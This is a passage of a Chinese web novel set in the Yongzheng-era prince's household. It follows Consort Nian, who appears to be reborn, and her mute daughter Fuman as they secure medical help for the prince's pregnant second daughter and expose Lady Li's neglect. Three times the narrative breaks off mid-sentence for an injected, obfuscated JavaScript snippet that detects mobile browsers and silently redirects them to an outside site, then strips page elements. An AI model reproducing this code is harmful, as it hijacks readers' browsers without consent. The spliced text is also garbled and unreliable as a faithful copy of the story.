爱之欲其生恶之欲其死。喜欢之时随心所欲,恨不能将人捧到天上去。厌恶的时候,便如秋风扫落叶,片叶不留。 她前世也许是去得早,没来得及体会他的厌恶。 总之谨慎些没坏处。 不过他既然说了,年月明也不会去反驳他。只将脸蛋埋进他怀中装作温顺羞涩的模样。 却不想真实神色竟是被那小人儿瞧了去。 母女俩大眼对小眼,竟都有几分心虚。 如果福满没记错,历史上雍正好像没有活到他登基的女儿。 刚刚听了美人娘拐弯抹角的这一串话,再结合关于她重生的猜疑,福满大抵猜出,她难道是在想救二格格? 但就像她自己说的她与二格格并无交集,而且她还和李氏不对付,忽然这么关心二格格,任谁看都有些莫名其妙吧? 即便是心中怜惜二格格,提点一二句便是了,没必要这么上赶着吧? 要知道雍正可是出了名的迷信,脑回路清奇,如果她好心提醒,反而被人家认为是诅咒二格格怎么办? 夜里四爷留宿,福满再次被送了出去。 四爷更衣沐浴之时,年月明将她抱了回去,轻拍着哄她入睡。 正在她昏昏欲睡之际,只听一道温柔的嗓音,在她耳边轻声道:“这次额娘一定会让你的生辰,快快乐乐的度过。” 福满心中一惊,睫毛颤了颤,眼睛却是没有睁开。 等年月明回去了,她才缓缓睁开了眼睛,望着那道离开的纤细背影神色有些复杂。 她有种直觉,美人娘做这些事,好像是为了她? 13.二格格 早晨四爷从清辉院走了,年月明又让白芷去了前院。 半晌后白芷带了个嬷嬷来。苏培盛是个机灵的人,年月明得宠,差事自然是紧着清辉院办,不过一日的功夫就寻来了个可靠的来。 这嬷嬷姓陈,听说母家祖父大有来历。 年月明有话等着问白芷,见了见人没多说,就让白青带她去瞧并蒂莲了。 福满却是对这位陈嬷嬷产生了几分好奇。她当年刚上大学的时候在图书馆看过一本叫《花镜》的书,就是这位陈嬷嬷的祖上写的。那书与各种以粮食作物、蔬菜为主的历代农书不同,书里仅限于花卉和树木的培育种植,里面有很多对先人经验的总结,和以及写书之人自己的精辟见解。 据说这位老爷子不愿为官,退守田园,率领家人种植花草并设文园馆课,召集生徒,以授课为业。 此时见到他的后人,福满确实有些好奇。 福满守在并蒂莲旁边,睁大眼睛一眨不眨的看着陈嬷嬷动作。 只见她先围着那花观察了一会子,然后卷起袖子伸手探了探缸底。 嗯,首先手法确实比白青专业。 过了会儿,陈嬷嬷起来接过白青手中的帕子擦了擦手。听白青迫不及待的问原因,便笑着回道:“姑娘这水浇的有些多了,再加上换水不勤,下面根有些腐烂了。不过不用太担心,还好姑娘发现的早,精心养着,过段时间就能恢复的。” 白青恍然大悟,想到前段时间日日浇水,便觉得有些脸热。看着旁边的福满,“哪里是我发现的,是我们四格格机警。” 若不是四格格拦着,这花可能早被她浇死了。 陈嬷嬷低头看和水缸差不多高的小女娃,虽是小脸瘦巴巴的,瞧着有些不足之症,但一双眼睛清凌凌的,透着一股子灵巧狡黠。 她自来是个圆滑之人,顺着白青的话夸起了福满来。 福满被夸的脸热,于是转过身去逗她的鱼玩。 昨日年月明让人将鱼和并蒂莲分开了,从库房里寻了个半人高的透明磨花玻璃缸装她那些小金鱼。 一群各色金鱼游在其中,水底还缀着一层精致小巧的鹅卵石,以及一颗红珊瑚、水草装饰,日光洒在水面,波光粼粼,极为赏心悦目。 福满一靠近,和她相熟的那条鹤顶红小金鱼就游了过来,然后一个摆尾跳了起来,又打了福满一脸水。 “四格格果然是有福之人,那红头鱼早不出来晚不出来,四格格一靠近就出来了。” 福满:“……” 谁说白青姐姐憨厚老实的。 福满脸皮薄,当真招架不住这左一句右一句的夸赞,索性转身去了里间找年月明。 里间,年月明得了白芷的准话才算放下心来。 她倒是不怀疑四爷对二格格的疼爱,她只是有些担心他不相信自己的话,耽误了时间。 见那小人儿晃晃悠悠的进来,年月明沉思的脸上,立刻挂上了柔和的笑容,“在外面玩够了?” 福满点头,还是美人娘身边安静。 年月明摸了摸她的头,“用完早膳,额娘再教你认字好不好?” 由于福满经常在年月明看书的时候,凑过去跟着看。年月明见她不仅不吵不闹,还乖乖的坐着,看的津津有味,索性拿了本三字经,亲自给她启蒙了。 福满闲的无聊,有事情做自然不会拒绝。 于是母女俩一个教,一个学已经进行了五日了。 年月明一边给福满指着书上的句子,一边重复般的在她耳边念,再用通俗易懂的话将里面的典故讲给她。 福满作为一个成年人内芯,自然是早就懂了这其中的道理。可是耳边听着柔和又耐心的话语,她愿意重新认真再学一遍。 第一日学了的内容,第二日自然是要检查的。 可是福满不会说话,自然无法将它们背出来。而且她现在还不会写字,更不能默写出来。 年月明想了两日,终于想出了个法子。 她将学过的东西一个字一个字,抄到厚实的藏经纸上,然后命人裁成一个个小块,第二日检查功课之时,让福满将头一日学过的东西拼凑起来。 若不是福满知道年月明是重生古代土著人,看到那一碟子小卡片摆在自己面前之时,定然会怀疑她也是穿越的。 这是古代版识字卡? 果然古人的智慧,并不比现代人少啊。 就这么学了几天,年月明发现她的满满,不仅不是那些人背后议论的傻子,相反聪慧异常,她仅仅教了一两遍就通通能记住了! 有了这个惊人的发现后,年月明忽然有了种为人师的欣慰和快乐,愈发爱教她了…… * 那边张起麟一大早拿了雍王府的牌子,进宫去请妇科圣手刘明仪,可是却跑了个空。 皇帝的庶妃张氏有了身孕。 老来得子,皇上十分重视,直接拨了刘太医给张庶妃安胎。 近来张庶妃身子不太舒坦,皇帝又命了太医院太医轮番值守。刘太医刚去上值了。 好在正巧遇到下值回来的徐太医,他和刘太医是师兄弟,医术仅次于刘太医。 张起麟见了来人,丧气的脸上顿时亮了起来,说了一连串的好话求人。 即便是徐太医夜里没睡困了半宿,此时听了这许多奉承话,也不好意思推拒,只能随着人出宫去了。 纳喇府里,身怀六甲的女子正在床上小憩,虽然睡着,可小腿却会时不时的抽搐一下。 丫鬟彩环轻轻地给她揉按着小腿,看着主子睡梦中仍是带着愁绪的面容,摇了摇头。 二格格前段时间时不时的就会头晕。请了两次太医来,也没查不出什么问题,近日又添了腿脚抽搐的毛病。 二格格心中担忧,于是写了封信送去了王府,想让王爷出面去请医科圣手刘太医来瞧瞧。 哪知李侧福晋竟是真没当回事,信中关怀了几句后,又说近来王爷有请立世子的意思,不可节外生枝。 这不用想也知道,指定是李主子为了能哄王爷高兴,没少说二格格身体很好怀相很好,试图让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308274|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王爷爱屋及乌顾念三阿哥。 若换了平常,为了这棵摇钱树能长久,李主子或许还愿意表现表现慈母心肠。 可偏偏正撞上王爷要上书请立世子,那只能委屈二格格忍一忍了。 偏偏二格格最听李主子的话,明明身子不舒服,也不敢写信去求王爷了。 彩环怒其不争,却又实在心疼她,在劝过多次无果之后也不再开口,只默默的为她捏捏腿,缓解些疼痛。 正在彩环叹息之时,额附星德正带着来人来到了门外。彩环闻声往外间望去,额附身后之人竟是王爷身边伺候的太监和徐太医! 彩环大喜立马唤醒了二格格,服侍她收拾的略齐整了些,才让徐太医进来诊脉。 那徐太医医术虽是不如刘太医,却也差不了太多。旁的太医瞧不出来的毛病,他只搭了搭脉,又问了问二格格近来身子症状,就心里有数了。 这是妊娠风痉啊。 这病若是前期仔细调理便无大碍,可难就难在前期不易诊出。二格格这都到了后期了,一个不当心就是两条人命啊! “郡主身子如何?”额附纳喇星德见徐太医久久不语,心中也跟着焦灼了起来。 郡主是雍亲王爱女,若是有个好歹,自己可如何跟雍亲王交代。 徐太医虽是心中百感交集,但当着病人的面却不好表现出来,反而笑着宽慰道:“郡主和额附不必担忧。这只是孕期常见症状,只要开几服药调理调理就好了。” 纳喇星德和二格格这才松了口气。 徐太医开了方子后,又仔细叮嘱了一番。 他心中藏着事,婉拒了纳喇府的热情款待,一脸肃穆的跟着张起麟去雍王府回话了。 四爷今日不用外出,在书房见了两个属人,直到张起麟回话,才打发了他们回去,传了徐太医进来。 瞧着徐太医一脸凝重,四爷也跟着拧起了眉。 难道二格格身子真的有些不好? 他心中一紧,连忙张口问道:“郡主身子如何?” 徐太医这一路子斟酌了一套话术,此时四爷问起来便如实相告了。 四爷听后一时怔住,不敢置信的问道:“郡主平日里身子健壮,为什么会患这种病?” 徐太医摇头,叹气道:“妊娠风痉和身子强弱无关。若是在前期有此倾向之时,就加予干涉,便无大碍。可如今二格格身孕已经八个月了,已经过了最佳医治期。微臣医术浅薄,实在不敢担保,还请王爷早日另请高明。” 整个太医院妇科医术,比这徐太医高的也只有那位刘太医了。可张庶妃身子弱又加之临近生产,刘太医主担责任,就怕出了茬子,都恨不得日日守着了,哪里有功夫再照看一个王府郡主呢。 四爷如何不懂这个道理,可是二格格是他的女儿,他如何能眼睁睁的看她出意外。 徐太医告辞后,他在屋内焦灼的转了几圈,终于下定了决心,让人备车马进宫了。 可还没等他和皇上提及此事,太医院就来人回禀说刘太医昏了过去…… 14.李氏认错 四爷到的时候,皇帝正召了太医问庶妃张氏的近况。还不等四爷开口就听张太医说,刘太医这段时日连日守在钟粹宫,午时头发昏一起身竟是晕了过去。 皇帝叹了口气,也知道刘明仪本就身子骨不硬朗,这些日子也确实尽力了,“让他先休养两日吧。” “怎么了,老四?”皇帝看了一眼欲言又止的四爷问道。 四爷:“……” 四爷实在未曾想事情会这般巧,如今刘明仪都病了。他也不能强逼着人家,拖着病体去瞧病吧。 不过既然皇帝问起了,他还是将斟酌了一路的话说了出来。 四爷面上有些愧疚,“……都是儿臣平日里疏忽了二格格,本来想请刘太医去瞧瞧,没想到现下刘太医也病倒了。” 皇帝看了四爷这幅模样也觉得无奈。 老四自来没什么女儿缘分,唯一养大了一个女儿,自然是捧在手心里。 如果这刘明仪是个身子强健的,让他去照拂着些也无妨。可他照顾一个张氏都费劲,哪还有心神去照顾别人。 “这个刘明仪还不如他爹身子骨硬朗。罢了,刘明仪醒了让他去瞧瞧。平日里让徐宁多往那边跑跑。” 四爷虽是心中犯愁,但也知道这是目前最好的法子了,谢恩后出宫去了…… * 四爷给二格格请太医的事,没刻意让人隐瞒。 李氏听到这个消息的时候,心中一阵惊慌,就怕真瞧出什么病来四爷找她算账。 她在房中来来回回踱步了半日,仍是没想出来什么好的说辞应对。 流云提议道:“主子先去前院问问二格格情况吧。” 李氏攥着帕子摇头,“四爷还没找我,我竟先去问他。这不是上赶着让他记起我。” 看出她的困惑,流云连忙解释道:“现在都到了这个地步了。您就是躲得过初一还能躲得过十五吗?主子爷如今着急二格格,心思不在问责您。您现在先去,还能占些先机。即便是他现在问您,您就咬死了说不知情。主子爷最疼爱二格格,您再跟着作出伤心牵挂的模样。主子爷定是不会过多苛责的。这事也就大事化小了。” 李氏停下脚步,坐下仔细思索了一遍流云的话也觉得有理。 她咬死了不知情,四爷还能审她不成? 况且此时二格格身子不适,四爷即便是为了稳住二格格,也不会此时罚她的! 李氏想明白这个道理,命流云拿了脂粉给她扑脸。看着镜中自己憔悴不已的模样才算满意,带着流云就去了前院。 四爷刚回来就听人传话说李氏来了。 “给四爷请安。”李氏眼圈红红的,瞧着仿佛伤心至极痛哭过一场。只是那双眼睛深处的算计和虚伪怎么都藏不住。 四爷皱了皱眉,“你来做什么?” 李氏还未说话,一行泪就从通红的眼眶中流了出来,“妾身听说爷请了太医去纳喇府上,心中实在担心二格格身子。那孩子最是乖巧孝顺,妾身又是糊涂蠢笨之人,往日里竟是完全信了那孩子报平安的安慰话……都是妾身的错,妾身宁愿受罚。只求爷能告诉妾身二格格到底怎么了?” 李氏这态度,怎么也像是笃定了二格格得了病? 四爷看着她的眼睛说道:“爷只是让太医去给二格格请了个平安脉。二格格身子没什么事。” 李氏大松了一口气,“那就好,那就好。” “爷怎么瞧你像是有些庆幸?” 李氏努力扯出一个笑容,“二格格平安康健,妾身自然觉得庆幸。” 四爷觉得不像是这个,“年前二格格送来的家书呢?去取来,爷瞧瞧。” 李氏一惊,忙道:“二格格信里说了许多女儿家的事,爷瞧怕是不大方便……” 四爷往日里就是顾忌这个,才没看二格格送来的信件。 “无妨。” “这……” 李氏一时说不出来,四爷只觉有种冰冷的感觉蜿蜒心上,带着怒意吼道:“快去!” “主子爷恕罪,二格格送来的家书,奴婢不小心弄丢了。”流云连忙跪下认错,可这反倒更像此地无银三百两了。 只是此时也顾不了那么多了,若真是拿来二格格的信,就彻底坐实了。 李氏连忙认了这个说法。 “弄丢了?好,好,随意弄丢主子信件,拉出去,重则二十板子。” 很快就进来了两个太监,将流云拉了出去。 李氏见四爷真怒了,也不敢多说,吓得在一旁瑟瑟发抖。 四爷却不肯放过她,“李氏,你早知道二格格身子不适了吧。” 李氏似乎被这话吓了一跳,“妾……妾身实在不知道啊!二格格是妾身的女儿,她若是身体不适,妾身为什么要瞒着不报呢?” “为什么?无非是为了弘时。” 听四爷提到弘时,李氏真的吓软了腿,跪在地上拼命摇头,“不,不,这不关弘时的事……” 若是方才四爷还有些试探的意思,现在看到李氏这幅样子,哪里还有不明白的,顿时怒不可遏,“二格格得的是妊娠风痉,稍有不慎就会一尸两命!她是你的亲女儿,你就这么作践她?” 李氏不敢置信,“这……怎么会这么严重?” “滚回去,你最好日日祈求二格格平安无事,否则……” 四爷阴冷的目光望过来,李氏心中猛地一缩。 这么多年了,她都快忘记了四爷的脾性,顿时连装都不敢装了,飞也似的逃了出去…… * 四爷在屋里待了半晌,心情才好转了些。 晚间苏培盛脚步轻慢的进来,小心的放下茶水,正想退下却听四爷问道:“清辉院今天做什么了?” 苏培盛松了口气,按照往日的习惯捡详细的说,“清晨年主子身边的人又来问了养花嬷嬷的事。奴才昨天让人去寻,真请来一个像样的人物。据说祖辈都是侍弄花草的。听说四格格瞧着人很是喜欢,将人留下来了。” 那点小人能懂什么好不好的。 可一想起那孩子一双清凌凌透着机灵的眼睛,好像也不是不可能。 紧接着四爷又摇了摇头,觉得自己当真是糊涂了,一个三岁的小孩子再聪明还能成精了不成。 这么想着,他忽然站了起来,抬腿就出了门去。 清辉院,成了精的四格格正在被美人娘亲手喂饭,一排小米牙慢悠悠咀嚼着嘴里的美味佳肴。 成人胃疾还能用药调理,可偏偏福满人小又身子虚,自然受不住猛药补身。 太医开了药膳慢慢滋补,虽是成效甚微,但好歹能吃下些东西了。 年月明于是让人换着法子研制膳食,做了一桌子的美味佳肴。 四爷进来就见母女俩一大一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314402|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小两张脸,一个面色柔和喂着饭,一个乖乖的张嘴被投喂。 画面非常很温馨。 四爷焦灼烦闷了一日,终于有了一个地方,能让他喘口气了。 他走了过去,止住欲要起身行礼的年月明,从乳母怀中接过福满,示意她继续喂。 福满被他抱在怀中,虽是背对着看不清便宜爹的脸,可是那种燥郁愁闷的气息却很明显。 自她来的这段时间来看,每次见他都是神情温和心情不错的样子。今日这般心情郁郁的模样,别说是年月明了,就是福满都有些不适应。 年月明见他这幅模样,心中大抵猜出了个大概。 前世后来她怀着福沛的时候身体浮肿,时常感觉眩晕。刘太医诊脉说有妊娠风痉的倾向。 他一听到这个消息,就直接让刘太医备了催产药。 她的福沛刚生下来就夭折了。 她刚开始也怨过他,直到后来才听他提起,二格格就是因为妊娠风痉,才导致一尸两命。 难道二格格还是晚了吗? 年月明也不由得有些担忧,喂了福满最后一口汤羹,放下了碗筷,柔声问道:“妾身和四格格刚开始用膳,不如添双筷子,爷多少也用些?” 四爷心中熨帖了些,“爷没什么胃口,你先用膳。” 说完抱着吃饱的福满,去了旁边的罗汉床上坐着。往日福满用完晚膳都在屋子里来回走动走动消食,今日瞧着他心绪不佳,索性乖乖的任他抱着。 四爷瞧她不哭不闹,安安静静的把玩这腰间的小荷包,轻轻的拍了拍她的脑袋就出神起来。 那枚小荷包是福满一直挂在腰间的,荷包是美人娘绣了给她的,里面装的是那枚罗汉钱。 他的这份压岁钱以及父爱,虽是送给那个夭折的可怜小女孩的,可真收到这份礼物的却是她。 福满虽是性子有些孤僻,但也算知恩图报。 这般想着,她往他那边靠了靠,小手揉了揉他蹙起的眉。 四爷看着眼前小女娃的动作,虽然有些懵但也没阻止。直到小女娃粉嫩嫩的小脸对他露出一个可爱乖巧的笑容,才算明白了她的意思。 这是看出来他心中烦闷,安慰他呢? 四爷有些惊喜,揉着她的脑袋问,“乖孩子,这是心疼阿玛了?” 福满愣了愣,但看着他眼底的期待,还是乖乖的点了点头。 四爷笑着将她举了起来,掂了掂之后,抱在怀里亲了亲她的小脸。 福满虽是不习惯,但到底忍着没躲开。 “阿玛的四格格真是个孝顺的好孩子。阿玛没事,不用担心。” 没事就好。 福满看着他脸上的阴霾一扫而光,也跟着松了口气。 年月明命人将鸽子汤端来的时候,父女俩正摆弄着那厚厚的一叠卡片。 四爷心情变好,逗着福满玩,又见罗汉床一边摆着一个书匣,打开见里面放了一本《三字经》还有一叠卡片,瞧着那上面的字迹正是出自年月明之手。 他正瞧着好奇之时,福满从他手中接过卡片,从一堆卡片中找出来几张,然后熟练的将今日学的内容摆给他看。 四爷既震惊于年月明给孩子开蒙的过早,又震惊于福满过于聪慧。 最终在看到那句‘养不教,父之过。教不严,师之惰。’的时候,所有的情绪化作了苦笑…… 15.赛神仙 四爷在看到那句‘养不教,父之过。教不严,师之惰。’的时候,所有的情绪化作了无奈的苦笑。 堂堂王府郡主竟是被养成了那样的性子,说到底这里面确实有他的责任在。 “爷这是怎么了?”年月明命人将端来的鸽子粥放下,扫了一眼摆着卡片上的一行字,有些明白了。 福满迎着美人娘望过来的目光,有些讪讪的摸了摸鼻子。 她倒真不是故意为了讽刺他,摆出来之后,想了想才觉得不对劲。 现在看人家脸上露出自嘲愧疚的神色,福满也有些不好意思。 年月明安抚的摸了摸她的头,让乳母将她抱了下去。 “满满还没过三岁生辰,你这个当额娘的倒是着急了。” 他本来想着按照月儿对满满的宠溺看,定然是不舍得让孩子吃苦。本来还想过有她这个慈母在,等之后孩子启蒙之时,他定要拿起严父的姿态来,两厢配合着才好。 不成想她竟是早早的,拿起了《三字经》给孩子启蒙了。 年月明笑着道:“妾身瞧着满满看着书的时候,倒是安静乖巧,索性就提前给她启蒙了。您不知道,满满可聪明了,那三字经我教她一两遍,她就记住了。” 提起这个,年月明面也上浮现出几分骄傲。学生聪慧,她这个当老师的也算与有荣焉! 四爷见此也跟着笑了,由衷的夸赞道:“满满确实是个聪慧的好孩子。” “爷,不用膳对身子不好,好歹用些吧。”年月明将碗往他那边推了推。 四爷虽是没什么胃口,但她亲手端来的也不忍辜负,到底多少用了些。 等他用完之后,年月明才斟酌着开口问道:“爷有心事?若是爷信得过妾身,不如说与妾身听听?” 四爷用完膳后那炕桌便被撤了下去。他见年月明眉眼柔和很是关心的样子,拍了拍她的手宽慰道:“爷没事,说起来二格格这事,爷还得多谢你提醒。若不是你提醒,我以后可能悔之莫及。” 至于年月明是如何知道的,四爷自动归为是李氏院里走漏了消息。 “二格格如何了?” 四爷叹气,“徐宁说二格格得的是妊娠风痉,他也不能完全确保二格格平安。爷今天进宫想着去请刘明仪,没成想刘明仪病倒了。” “刘太医又病倒了?”年月明皱眉,“妾身曾听父亲说起过,刘太医确实从小就身子骨弱。可惜是自娘胎里带的弱症,只能调养无法根治。” 年家与刘家确实有些渊源,论起来年月明该唤刘太医一声‘世兄’的。 当年,年月明的祖父年仲隆,外放江南任和州知州,正逢康熙元年韩世琦抚吴,为朝廷敛财,促使江南官员,向江南士民追索屯田银米。 年家本是明朝指挥使出身,清兵入关被迫沦为包衣奴籍。 后来靠着年仲隆在顺治年间中了进士,才得以出包衣。 年仲隆为了生计做了满人的官,但到底不忍心将刀刃对准无辜汉人百姓。不仅拒绝配合横征暴敛,还暗中救了不少流民。 刘太医的父亲便是年仲隆从流民之中救下的。刘家被清缴一空,父母接连去世,只剩下他一个跟着流民逃难去了。 年仲隆见他实在可怜,将其认作义子带回了家中。未曾想这孩子竟是在医术上颇有见解,后来宫中考核招募太医,竟是真被招了进去。 想到这位伯父,年月明忽然福灵心至。 没进府之前,刘伯父倒是给她瞧过几次病。后来她入府了,刘伯父岁数也大了,便不好再去折腾人家。前世她怀福沛的时候,听刘明仪提过一嘴说刘伯父早就过世三年了。 只是不知现在身子骨如何? “妾身在闺阁之时,见过刘伯父几面。虽已年过六十了,但精神矍铄,倒是比刘太医瞧着还硬朗些。” 四爷一听,若有所思。 孝康章皇后当年病重,皇阿玛广招天下名医为其诊治。刘沧湄便是当时招募进宫的一批太医。 相比于各地名医,刘沧湄一个还未及冠的年轻人,显然人微言轻。 可没多久这个年轻人,就将各地名医都比了下去,就此刘沧湄成功的留在宫内留了下来,几十年下来上到孝庄文皇后,下到各宫妃嫔都曾被其诊治过,人送外号‘赛神仙’。 只是这位老爷子自乞休归家后,过的犹如闲云野鹤般,时常外出采药、编纂医书、教授弟子,倒是甚少听闻出山为人治病了。 莫说是他,便是皇阿玛都因着其照顾过孝庄文皇后和孝康章皇后,都不曾将人强行召回…… 年月明没有打断四爷沉思,悄悄叮嘱白术去库房寻一样东西。 一会后白术抱回一个盒子,年月明亲手打了开。那梳子放的时间久了,可凑近一闻,还能闻到一股子清新的桃木味。梳子的背面刻了一行小字‘赠侄女小月儿’。 听母亲说她小时候,时常夜半哭闹不止,身子弱还用不得药,又怕哭坏了嗓子,为了治她这哭闹症,倒是废了不少心思。 那位远在京城的伯父,收到信后让人送了一把桃木梳,以及一张穴位按摩图,让按着他标注的穴位每日按摩,她自此倒是断了夜半哭闹的习惯。 年月明将梳子拿给了四爷,“妾身明日让人去刘府拜访问候。若是伯父身子还硬朗,便将这梳子拿给他看。” 刘沧湄深受年家祖父养育之恩,年家人开口,无论如何,他大抵都会出山,尽力相救。 昨日她劝自己给二格格请太医,今日又走动年家关系请刘沧湄。 她与二格格既无血缘又无交情,这般费尽心思无非是因为他。 四爷只觉手中的桃木梳仿佛能灼人似的。 年月明见他出神,睨了他一眼,故意笑着激他,“怎么,爷是怕人知道了,背后嚼舌根,说您堂堂亲王要靠走裙带关系?” “你明明知道爷是什么心思。” 他只觉愧对与她,长得跟个仙女似的,有才情,家世还好,嫁给谁都该是正室嫡妻,恣意自在的过活,嫁了他却只能委屈做侧室。 可他不后悔,就算重来他也还会那样做。 她是仙娥,那他就做仙娥最忠诚的信徒,自愿臣服于她。 这般想着凑近她耳边念道:“月儿厚爱,爷却之不恭。” 亏她刚刚瞧他郁郁的模样,还有些担忧,转头就又被他拿话调戏了一番。 年月明面颊微红,暗暗啐了他一口。 四爷瞧着美人儿含羞带臊的模样,一颗心就像被泡在温水里,一沉一浮,温柔荡漾。 * 四爷为二格格请了刘沧湄的事,没过两日就在府中传了个遍。 原因是这位‘赛神仙’大名在外,有的说他炼药求丹早已成仙,有的说他缠绵病榻早就起不来床了。 反正各种说法都有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318180|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到他出现在雍王府的那一刻,众人才算真真开了眼。 那老者瞧着不过刚六十多点的年纪,身子瘦弱但背挺直不驼,眉毛很长延至鬓角,胡子花白,身穿一件鸦青色的缎面暗纹袍子。 虽已过七旬,但并未拄拐也不需要人扶,走起路来脚下生风,精神气神极好,确有几分仙风鹤骨的味道。 书房中,刘沧湄不等行礼问安就被四爷免了。 “多年未见老太医,瞧您这身子骨依然硬朗。” 若是不看脸上衰老的痕迹,真不像快七十的人。倒是真对得住那‘赛神仙’的外号。 若非时机不对,四爷倒想跟他讨教讨教养生之法。 四爷打量刘沧湄之时,人家也在打量他。 刘沧湄在太医院多年,自然是见过这位四爷很多面的,当年种痘还是他去看的。 平心而论这位爷,也算是个稳重有成算的。尤其是这些年皇帝年岁大了,对成年儿子愈发忌惮,太子二次被废,大阿哥被圈禁。八阿哥、十三阿哥先后被嫌恶,能在老皇帝手下不被猜忌确实不易。 只是这是看皇子阿哥的角度,不是看女婿的。 小月儿那孩子生来就有些弱症。 三弟怕她嫁出去受委屈,都考虑过招赘。谁知最后不仅嫁出门了,还进了这等深宅之中。他在宫中待过那么些年,这里面日子如何艰难他一清二楚。 只是木已成舟,三弟那个当爹的都无可奈何,他一个当伯父的也只能在心里叹息。 不过小月儿那孩子心性,他多少也了解一些,能将那把梳子拿出来走动关系,怕是对这位爷也有几分心思。 “多谢雍亲王挂念,托您的福,老朽还算硬朗。” 等人坐下后四爷又客气的道:“老太医致仕多年,本不该再扰您清静。只是徐太医年轻,小刘太医又病倒了,所以只能去请您了。” 这俩一个他徒弟一个他儿子,没一个立得住的。 一提起来,刘沧湄就觉得丢人,“那俩小子一个比一个没出息。一个见事就躲,一个身子单薄的风吹吹就倒了。王爷放心,既然王爷信得过老朽。老朽定然会尽力而为。” 四爷颔首,“不知二格格身子到底如何?” 刘沧湄已经去了一趟纳喇府上,来雍王府就是给四爷汇报病情的。 此时听四爷问起,抚了抚花白的胡子叹了口气,“王爷莫怪,老朽实话实说。若是再早些发现,用药流了腹中孩子完全能保二格格平安无忧。只是如今二格格已有八个月的身孕,腹中胎儿已经成型,药流不仅流不干净,还极容易伤身子。现在只能试着用药物和针灸之法先控制着。至于最终结果,老朽也不敢完全保证。” 四爷听了这话心中虽不好受,但这两日也算慢慢接受了这个结果。 二人沉默了一会,一时间心情都有些沉重。 平复了会子心情才听刘沧湄问道:“多年未见年侧福晋了。她自小就有些先天不足,前些年我给她瞧过病,开过几服药,也不知如今可好些了?” 提起年月明,四爷脸上才算柔和了点,“她平日里正是用着您的药方,再有刘太医时常来请平安脉,身子倒无大碍。” 刘沧湄却是瞧不上自家儿子,轻哼一声,“他那手医术不够看的。若是今日有功夫,不如王爷请年侧福晋来一趟?” 四爷欣然同意,并叮嘱人一并将四格格也抱了来…… 16.母女看病 清辉院 白术、白芷是跟着年月明从年府陪嫁来的,自然见过不少次这‘赛神仙’真容。白芷性子跳脱爱显摆,一群小丫鬟围着她追问。 她跟说书似的都快把刘沧湄说成活神仙了,等正主真来了雍王府,一群小丫鬟都恨不得能去瞧上一眼。 可惜后院的丫鬟不能随便去前院,只有那大胆的隔着垂花门往外望上一眼。 所以不用年月明打听,就从一群小丫鬟叽叽喳喳的议论声中,得知了刘伯父来了府上的消息。 正当年月明想着,要不要打发人去问个安的时候,前院就来人就来请她了。 母女俩于是换了衣裳就去了前院。 年月明进来,刘沧湄起身欲行礼,被她及时拦住,“伯父快免礼。” 坐下之后,刘沧湄才细细打量了她几眼,“侧福晋这些年身子可还好?心疾好些了吗?” “吃了伯父开的药,调理的好多了,许多年没犯过病了。” 刘沧湄瞧她气色比从前红润了许多,才满意的点点头。 他的目光,随之又看向了,抬着头看他的小女娃。 刘沧湄就刘御医一个儿子,小辈里只有俩孙子,一个性子沉稳天天板着个脸,一个嘴贫的烦的他耳朵疼。 哪有这乖巧机灵玉雪可爱的小女娃招人疼呢。 刘沧湄的脸顿时笑成一朵菊花,“这是四格格吧?” 年月明笑着点头,低头和福满介绍,“这是你外伯公。” 福满不会说话,迎着老者善意的眼神,回了一个乖巧的露齿笑。 刘沧湄慈爱的看着她,渐渐的却是发现了点问题,又想起刚才四格格进来时,对雍亲王也只是笑了笑,并未喊人。 刘沧湄想起外面传闻,面色有些复杂,“这……” 他隐约听闻过四格格是哑巴或者傻子的传闻。 只是家里那小子,时常来雍王府请平安脉也未曾透露过,他只当是谣传。 不等年月明说话,就听四爷道:“这孩子说话晚。” 刘沧湄拿住福满手腕诊了诊脉,又看了看她的喉咙,也确实没发现嗓子有什么问题。 这个结果年月明和四爷早就有心理准备了。 在此之前刘明仪和不少大夫都给福满诊过脉,也并未发现有什么不妥,他们也只当她说话慢。 况且这孩子先天不足身子太差,四爷最大的期望是她能好生活下来,会不会说话以后再说。 正如四爷所想,刘沧湄也忍不住心中叹气。这四格格观面相不是长命之相,脉相细弱,血亏气若,比小月儿当年身子还差。 若不是生下来就是金尊玉贵王府格格,绝对活不到如今这个年岁的。 之后刘沧湄又给年月明诊了脉,却是叹息道:“忧思过度,郁结于心。” 此话一出,屋里这几个人都面色紧张了起来,看看刘沧湄,又看向了年月明。 年月明心中也是一惊,她本以为自己心事藏得好,却不想着脉象竟是暴露的彻底。 与四爷担忧的目光相遇,又赶紧低下了头去。 还好四爷急着问病,暂且压下了心中疑惑,连忙问刘沧湄,“有什么好法子调理吗?” 